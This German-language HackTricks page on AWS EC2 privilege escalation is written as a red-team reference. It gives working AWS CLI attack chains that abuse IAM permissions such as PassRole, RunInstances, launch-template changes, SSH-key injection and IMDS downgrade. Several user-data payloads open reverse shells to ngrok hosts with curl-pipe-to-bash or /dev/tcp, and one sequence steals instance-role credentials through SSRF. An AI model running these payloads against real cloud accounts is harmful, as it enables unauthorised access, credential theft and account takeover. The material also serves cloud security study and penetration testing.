AWS - EC2 Privesc

Reading time: 13 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

EC2

Für mehr Informationen über EC2 siehe:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

iam:PassRole, ec2:RunInstances

Ein attacker könnte eine instance erstellen, dieser eine IAM role anhängen und dann auf die instance zugreifen, um die IAM role credentials vom metadata endpoint zu stehlen.

  • Zugriff via SSH

Starte eine neue instance unter Verwendung eines created ssh key (--key-name) und verbinde dich dann per ssh damit (wenn du einen neuen erstellen willst, benötigst du möglicherweise die Berechtigung ec2:CreateKeyPair).

bash
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
--security-group-ids <sg-id>
  • Zugriff über rev shell in user data

Du kannst eine neue Instance mittels user data (--user-data) starten, die dir eine rev shell sendet. Auf diese Weise musst du keine security group angeben.

bash
echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh

aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> \
--count 1 \
--user-data "file:///tmp/rev.sh"

Sei vorsichtig mit GuardDuty, wenn du die credentials der IAM role außerhalb der instance verwendest:

AWS - GuardDuty Enum

Potenzielle Auswirkung: Direct privesc to any EC2 role attached to existing instance profiles.

Privesc to ECS

Mit diesem Berechtigungssatz könntest du außerdem create an EC2 instance and register it inside an ECS cluster. Auf diese Weise werden ECS services in der EC2 instance, auf die du Zugriff hast, run, und du kannst diese services (docker containers) kompromittieren und steal their ECS roles attached.

bash
aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
--instance-type t2.micro \
--iam-instance-profile <ECS_role> \
--count 1 --key-name pwned \
--user-data "file:///tmp/asd.sh"

# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs)
# The EC2 instance profile needs basic ECS access
# The content of the user data is:
#!/bin/bash
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;

Um zu lernen, wie man erzwingen kann, dass ECS-Dienste in dieser neuen EC2-Instanz ausgeführt werden, siehe:

AWS - ECS Privesc

Wenn Sie keine neue Instanz erstellen können, aber die Berechtigung ecs:RegisterContainerInstance haben, könnten Sie die Instanz im Cluster registrieren und den beschriebenen Angriff durchführen.

Potentielle Auswirkungen: Direkter privesc auf ECS-Rollen, die an Tasks angehängt sind.

iam:PassRole, iam:AddRoleToInstanceProfile

Ähnlich wie im vorherigen Szenario könnte ein Angreifer mit diesen Berechtigungen die IAM-Rolle einer kompromittierten Instanz ändern, um neue Anmeldeinformationen stehlen zu können.
Da ein Instance Profile nur eine Rolle haben kann, wenn das Instance Profile bereits eine Rolle hat (häufiger Fall), benötigen Sie außerdem iam:RemoveRoleFromInstanceProfile.

bash
# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>

# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>

Wenn das instance profile eine role hat und der Angreifer es nicht entfernen kann, gibt es eine andere Umgehung. Er könnte ein instance profile ohne role finden oder einen neuen erstellen (iam:CreateInstanceProfile), die role zu diesem instance profile hinzufügen (wie zuvor besprochen), und das instance profile zuordnen kompromittiert zu einer kompromittierten instance:

  • Wenn die instance kein instance profile hat (ec2:AssociateIamInstanceProfile)
bash
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>

Mögliche Auswirkung: Direktes privesc zu einer anderen EC2-Rolle (du musst eine AWS EC2 instance kompromittiert haben und zusätzliche Berechtigungen oder einen bestimmten instance profile-Status besitzen).

iam:PassRole(( ec2:AssociateIamInstanceProfile& ec2:DisassociateIamInstanceProfile) || ec2:ReplaceIamInstanceProfileAssociation)

Mit diesen Berechtigungen ist es möglich, das mit einer Instance verknüpfte instance profile zu ändern. Wenn ein Angreifer bereits Zugriff auf eine Instance hat, kann er dadurch Anmeldeinformationen für weitere instance profile-Rollen stehlen, indem er das damit verknüpfte instance profile austauscht.

  • Wenn es ein instance profile hat, kannst du das instance profile entfernen (ec2:DisassociateIamInstanceProfile) und es assoziieren
bash
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
  • oder ersetzen das instance profile der kompromittierten Instance (ec2:ReplaceIamInstanceProfileAssociation).
bash
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>

Mögliche Auswirkungen: Direktes privesc zu einer anderen EC2 role (du musst eine AWS EC2 instance kompromittiert haben und zusätzliche Berechtigungen oder einen bestimmten instance profile status besitzen).

ec2:RequestSpotInstances,iam:PassRole

Ein Angreifer mit den Berechtigungen ec2:RequestSpotInstancesandiam:PassRole kann request eine Spot Instance mit einer EC2 Role attached und einer rev shell in den user data anfordern.
Sobald die Instance ausgeführt wird, kann er die IAM role stehlen.

bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 request-spot-instances \
--instance-count 1 \
--launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}"

ec2:ModifyInstanceAttribute

Ein Angreifer mit der ec2:ModifyInstanceAttribute kann die Attribute der Instanz ändern. Unter anderem kann er change the user data, wodurch er die Instanz dazu bringen kann, run arbitrary data. Das kann genutzt werden, um eine rev shell to the EC2 instance zu erhalten.

Beachte, dass die Attribute nur geändert werden können, während die Instanz gestoppt ist; dafür werden die permissions ec2:StopInstances und ec2:StartInstances benötigt.

bash
TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0

--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt"

#cloud-config
cloud_final_modules:
- [scripts-user, always]

--//
Content-Type: text/x-shellscript; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="userdata.txt"

#!/bin/bash
bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1
--//'
TEXT_PATH="/tmp/text.b64.txt"

printf $TEXT | base64 > "$TEXT_PATH"

aws ec2 stop-instances --instance-ids $INSTANCE_ID

aws ec2 modify-instance-attribute \
--instance-id="$INSTANCE_ID" \
--attribute userData \
--value file://$TEXT_PATH

aws ec2 start-instances --instance-ids $INSTANCE_ID

Potentielle Auswirkung: Direkter privesc auf jede EC2 IAM Role, die an eine erstellte Instanz angehängt ist.

ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplate,ec2:ModifyLaunchTemplate

Ein Angreifer mit den Berechtigungen ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplateand ec2:ModifyLaunchTemplate kann eine new Launch Template version erstellen, die eine rev shell in den user data und any EC2 IAM Role on it enthält, die Standardversion ändern, woraufhin jede Autoscaler group, die dieses Launch Template verwendet und so konfiguriert ist, die latest oder die default version zu verwenden, die Instanzen mit diesem Template neu startet und die rev shell ausführt.

bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 create-launch-template-version \
--launch-template-name bad_template \
--launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}"

aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2

Potentielle Auswirkung: Direkter privesc auf eine andere EC2-Rolle.

(autoscaling:CreateLaunchConfiguration | ec2:CreateLaunchTemplate), iam:PassRole, (autoscaling:CreateAutoScalingGroup | autoscaling:UpdateAutoScalingGroup)

Ein Angreifer mit den Berechtigungen autoscaling:CreateLaunchConfiguration,autoscaling:CreateAutoScalingGroup,iam:PassRole kann eine Launch Configuration erstellen mit einer IAM Role und einer rev shell im user data, dann eine autoscaling group aus dieser Konfiguration erstellen und warten, bis die rev shell die IAM Role stiehlt.

bash
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
--image-id ami-0c1bc246476a5572b \
--instance-type t3.micro \
--iam-instance-profile EC2-CloudWatch-Agent-Role \
--user-data "$REV"

aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
--auto-scaling-group-name bad_auto \
--min-size 1 --max-size 1 \
--launch-configuration-name bad_config \
--desired-capacity 1 \
--vpc-zone-identifier "subnet-e282f9b8"

Potentielle Auswirkung: Direkte privesc zu einer anderen EC2-Rolle.

!autoscaling

Das Berechtigungs-Set ec2:CreateLaunchTemplate und autoscaling:CreateAutoScalingGroup ist nicht ausreichend, um Privilegien auf eine IAM-Rolle zu eskalieren, weil man, um die in der Launch Configuration oder im Launch Template angegebene Rolle anzuhängen, die Berechtigungen iam:PassRole und ec2:RunInstances benötigt (was eine bekannte privesc ist).

ec2-instance-connect:SendSSHPublicKey

Ein Angreifer mit der Berechtigung ec2-instance-connect:SendSSHPublicKey kann einem Benutzer einen ssh key hinzufügen und diesen verwenden, um darauf zuzugreifen (wenn er ssh access zur Instanz hat) oder um Privilegien zu eskalieren.

bash
aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"

Potentielle Auswirkungen: Direkter privesc auf die EC2 IAM roles, die an laufende Instanzen angehängt sind.

ec2-instance-connect:SendSerialConsoleSSHPublicKey

Ein Angreifer mit der Berechtigung ec2-instance-connect:SendSerialConsoleSSHPublicKey kann einen ssh key zu einer seriellen Verbindung hinzufügen. Wenn die serielle Konsole nicht aktiviert ist, benötigt der Angreifer die Berechtigung ec2:EnableSerialConsoleAccess, um sie zu aktivieren.

Um eine Verbindung zum seriellen Port herzustellen, muss der Angreifer außerdem den Benutzernamen und das Passwort eines Benutzers innerhalb der Maschine kennen.

bash
aws ec2 enable-serial-console-access

aws ec2-instance-connect send-serial-console-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--serial-port 0 \
--region "eu-west-1" \
--ssh-public-key "file://$PUBK_PATH"

ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws

Diese Methode ist für privesc nicht sehr nützlich, da man einen username und password kennen muss, um sie auszunutzen.

Potential Impact: (Schwer nachweisbar) Direkter privesc zu den an laufenden EC2-Instanzen angehängten IAM-Rollen.

describe-launch-templates,describe-launch-template-versions

Da launch templates eine Versionierung haben, könnte ein Angreifer mit den Berechtigungen ec2:describe-launch-templates und ec2:describe-launch-template-versions diese ausnutzen, um sensible Informationen zu finden, wie z. B. credentials, die in den user data hinterlegt sind. Um dies zu erreichen, durchläuft das folgende Skript alle Versionen der verfügbaren launch templates:

bash
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
do
echo "[*] Analyzing $i"
aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata
do
echo "VersionNumber: $version"
echo "$userdata" | base64 -d
echo
done | grep -iE "aws_|password|token|api"
done

In den obigen Befehlen geben wir zwar bestimmte Muster an (aws_|password|token|api), du kannst jedoch einen anderen regex verwenden, um nach anderen Arten sensibler Informationen zu suchen.

Wenn wir aws_access_key_id und aws_secret_access_key finden, können wir diese Anmeldeinformationen verwenden, um uns bei AWS zu authentifizieren.

Potential Impact: Direkte Eskalation von Rechten auf IAM-Benutzer.

Referenzen

ec2:ModifyInstanceMetadataOptions (IMDS-Downgrade, um SSRF-basierten Diebstahl von Zugangsdaten zu ermöglichen)

Ein Angreifer, der die Möglichkeit hat, ec2:ModifyInstanceMetadataOptions auf einer betroffenen EC2-Instance aufzurufen, kann die IMDS-Schutzmechanismen abschwächen, indem er IMDSv1 (HttpTokens=optional) aktiviert und den HttpPutResponseHopLimit erhöht. Dadurch wird der Instance-Metadata-Endpunkt über übliche SSRF-/Proxy-Pfade von Anwendungen, die auf der Instance laufen, erreichbar. Kann der Angreifer in einer solchen Anwendung einen SSRF auslösen, kann er die instance profile credentials abrufen und damit pivotieren.

  • Erforderliche Berechtigungen: ec2:ModifyInstanceMetadataOptions auf der Ziel-Instance (plus die Fähigkeit, einen SSRF auf dem Host zu erreichen/auszulösen).
  • Zielressource: Die laufende EC2-Instance mit angehängtem instance profile (IAM role).

Commands example:

bash
# 1) Check current metadata settings
aws ec2 describe-instances --instance-id <INSTANCE_ID> \
--query 'Reservations[0].Instances[0].MetadataOptions'

# 2) Downgrade IMDS protections (enable IMDSv1 and raise hop limit)
aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
--http-endpoint enabled --http-tokens optional \
--http-put-response-hop-limit 3 --instance-metadata-tags enabled

# 3) Through the SSRF, enumerate role name
curl "http://<VICTIM_PUBLIC_IP>:<APP_PORT>/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"

# 4) Through the SSRF, steal the temporary credentials
curl "http://<VICTIM_PUBLIC_IP>:<APP_PORT>/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>"

# 5) Use the stolen credentials
export AWS_ACCESS_KEY_ID=<AccessKeyId>
export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
export AWS_SESSION_TOKEN=<Token>
aws sts get-caller-identity

# 6) Restore protections (require IMDSv2, low hop limit)
aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
--http-tokens required --http-put-response-hop-limit 1

Mögliche Auswirkungen: Diebstahl von instance profile credentials über SSRF, was zu privilege escalation und lateral movement mit den EC2 role permissions führen kann.

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks